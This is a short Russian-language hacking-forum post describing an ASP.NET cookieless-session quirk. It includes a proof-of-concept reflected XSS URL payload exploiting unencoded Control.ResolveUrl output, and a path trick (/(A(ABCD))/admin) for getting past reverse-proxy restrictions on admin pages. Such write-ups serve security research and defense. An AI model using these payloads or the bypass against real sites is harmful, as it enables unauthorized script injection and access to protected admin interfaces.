• XSS.stack #1 – первый литературный журнал от юзеров форума

XSS при cookieless session в ASP.NET

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Тут Bo0oM запостил интересную фичу.


В ASP.NET есть удобная олдскульная фича - cookieless session. Она осталась ещё с тех времён, когда куки поддерживались не всеми браузерами и сессию приходилось передавать внутри URL.
Например,
http://www.example.com/(S(lit3py55t21z5v55vlm25s55))/default.aspx
При использовании Control.ResolveUrl метода, это значение может выводится без корректного энкодинга символов, что может давать нам XSS-ку:
<script src="<%= ResolveUrl("~/Script.js") %>"></script>
+
http://example.com/(A(%22onerror=%22alert`1`%22))/default.aspx
->
<script src="/(A("onerror="alert`1"))/Script.js"></script>

Более подробно об этой особенности и эксплуатации можно почитать ТУТ
Кроме того, эту фичу можно использовать для обхода ограничений на реверс прокси к админке приложения бэкэнда (всё что начинается с “/admin”), например:
http://victim.com/admin - 403
http://victim.com/(A(ABCD))/admin - 200

Работает в .NET 2.0-4.8. В .NET Core всех версий и в .NET5 это не поддерживается.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх